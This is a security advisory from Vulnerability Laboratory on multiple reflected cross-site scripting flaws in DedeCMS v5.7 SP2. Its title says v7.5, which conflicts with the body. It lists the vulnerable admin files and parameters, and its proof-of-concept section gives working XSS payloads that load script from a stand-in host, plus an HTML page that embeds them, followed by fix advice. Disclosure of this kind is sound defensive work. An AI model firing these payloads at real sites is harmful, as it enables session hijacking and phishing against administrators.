DedeCMS v7.5 SP2 - Multiple Cross Site Web Vulnerabilities

Document Title:
===============
DedeCMS v7.5 SP2 - Multiple Cross Site Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2194


Release Date:
=============
2020-04-07


Vulnerability Laboratory ID (VL-ID):
====================================
2194


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Welcome to use the most professional PHP website content management system in China-Zhimeng content management system, 
he will be your first choice for easy website building. Adopt XML name space style core templates: all templates are 
saved in file form, which provides great convenience for users to design templates and website upgrade transfers. 
The robust template tags provide strong support for webmasters to DIY their own websites. High-efficiency tag caching 
mechanism: Allows the caching of similar tags. When generating HTML, it helps to improve the reaction speed of the 
system and reduce the resources consumed by the system.

(Copy of the homepage: http://www.dedecms.com/products/dedecms/downloads/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site vulnerabilities in 
the official DedeCMS v5.7 SP2 (UTF8) web-application.


Affected Product(s):
====================
DesDev Inc.
Product: DedeCMS - Content Management System  v5.7 SP2


Vulnerability Disclosure Timeline:
==================================
2020-04-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
Multiple non-persistent cross site scripting vulnerabilities has been discovered in the official DedeCMS v5.7 SP2 UTF8  web-application.
The vulnerability allows remote attackers to inject 
own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the client-side.

The cross site scripting web security vulnerabilities are located in the `filename`, `mid`, `userid`, `templet` parameters of the  `tpl.php`, 
`mychannel_edit.php`, `file_manage_view.php`, `sys_admin_user_edit.php`, `makehtml_homepage.php` files.  The request method to inject 
the malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack vector of 
the vulnerability is non-persistent and the request method to inject/execute is GET. The vulnerabilities are classic client-side cross site 
scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, 
non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] tpl.php
[+] mychannel_edit.php
[+] file_manage_view.php
[+] sys_admin_user_edit.php
[+] makehtml_homepage.php

Vulnerable Parameter(s):
[+] filename
[+] mid
[+] userid
[+] templet


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Request: Examples
https://test23.localhost:8080/dede/tpl.php?acdir=default&action=edit&filename=data.html
https://test23.localhost:8080/dede/mychannel_edit.php?mid=1&dopost=modifysearch
https://test23.localhost:8080/dede/file_manage_view.php?fmdo=edit&filename=data.html&activepath=
https://test23.localhost:8080/dede/sys_admin_user_edit.php?id=1&userid=23&dopost=delete
https://test23.localhost:8080/dede/makehtml_homepage.php?dopost=view&templet=13


PoC: Payload
>">%20<iframe src=evil.source/file.js onload=alert(x)>
>">%20<img src=evil.source/file.js onload=alert(x)>


PoC: Exploitation
<title>DedeCMS v5.7 SP2 UTF8 - Multiple Non Persistent XSS PoCs</title>
<iframe src="https://test23.localhost:8080/dede/tpl.php?acdir=default&action=edit&filename=>">%20<iframe src=evil.source onload=alert(x)>%20">
<iframe src="https://test23.localhost:8080/dede/mychannel_edit.php?mid=>">%20<iframe src=evil.source onload=alert(x)>&dopost=modifysearch">
<iframe src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=edit&filename=>">%20<iframe src=evil.source onload=alert(x)>&activepath=">
<iframe src="https://test23.localhost:8080/dede/sys_admin_user_edit.php?id=1&userid="><iframe src=evil.source onload=alert(document.domain)>&dopost=delete">
<iframe src="https://test23.localhost:8080/dede/makehtml_homepage.php?dopost=view&templet=>">%20<iframe src=evil.source onload=alert(x)>%20">
...


Reference(s):
https://test23.localhost:8080/dede/tpl.php
https://test23.localhost:8080/dede/mychannel_edit.php
https://test23.localhost:8080/dede/file_manage_view.php
https://test23.localhost:8080/dede/sys_admin_user_edit.php
https://test23.localhost:8080/dede/makehtml_homepage.php


Solution - Fix & Patch:
=======================
1. Parse the content to disallow html / js and special chars
2. Restrict the vulnerable paramter input to prevent injects via get method request
3. Secure the output location were the content is insecure sanitized delivered as output


Security Risk:
==============
The security risk of the client-side non-persistent cross site scripting web vulnerabilities in the different modules are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™